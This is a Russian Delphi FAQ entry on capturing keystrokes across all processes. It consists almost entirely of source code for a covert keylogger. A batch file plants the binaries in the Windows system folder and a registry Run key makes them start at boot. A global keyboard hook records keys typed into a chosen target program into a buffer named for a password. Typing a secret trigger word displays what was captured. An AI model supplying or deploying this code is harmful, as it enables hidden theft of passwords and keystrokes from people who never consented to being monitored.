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БОЛЬШОЙ FAQ ПО DELPHI



Как отловить нажатия клавиш для всех процессов в системе?

Вот, может поможет:

>1. Setup.bat
=== Cut ===
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
=== Cut ===
>2.HookAgnt.reg
=== Cut ===
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"
=== Cut ===
>3.KbdHook.dpr
=== Cut ===
program cwbhook;
uses Windows, Dialogs;
var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;
begin
hinstDLL := LoadLibrary('HookAgnt.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
repeat until not GetMessage(msg, 0, 0, 0);
end.
=== Cut ===

>4.HookAgnt.dpr
=== Cut ===
library HookAgent;
uses Windows, KeyboardHook in 'KeyboardHook.pas';
exports KeyboardProc;
var
hFileMappingObject: THandle;
fInit: Boolean;
procedure DLLMain(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;
end;
begin
DLLProc := @DLLMain;
hFileMappingObject := CreateFileMapping(
THandle($FFFFFFFF), // use paging file
nil, // no security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32 bits
4096, // size: low 32 bits
'HookAgentShareMem' // name of map object
);
if hFileMappingObject = INVALID_HANDLE_VALUE then begin
ExitCode := 1;
Exit;
end;
fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
lpvMem := MapViewOfFile(
hFileMappingObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0); // default: map entire file
if lpvMem = nil then begin
CloseHandle(hFileMappingObject);
ExitCode := 1;
Exit;
end;
if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);
end.
=== Cut ===
>5.KeyboardHook.pas
=== Cut ===
unit KeyboardHook;
interface
uses Windows;
const PASSWORDSIZE = 16;
var
g_hhk: HHOOK;
g_szKeyword: array[0..PASSWORDSIZE-1] of char;
lpvMem: Pointer;
function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
implementation
uses SysUtils, Dialogs;
function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT;
var
szModuleFileName: array[0..MAX_PATH-1] of Char;
szKeyName: array[0..16] of Char;
lpszPassword: PChar;
begin
lpszPassword := PChar(lpvMem);
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
lstrcat(g_szKeyword, szKeyName);
GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
> if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and
(strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
lstrcat(lpszPassword, szKeyName);
if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
begin
ShowMessage(lpszPassword);
g_szKeyword[0] := #0;
end;
Result := 0;
end
else Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;
end.
=== Cut ===



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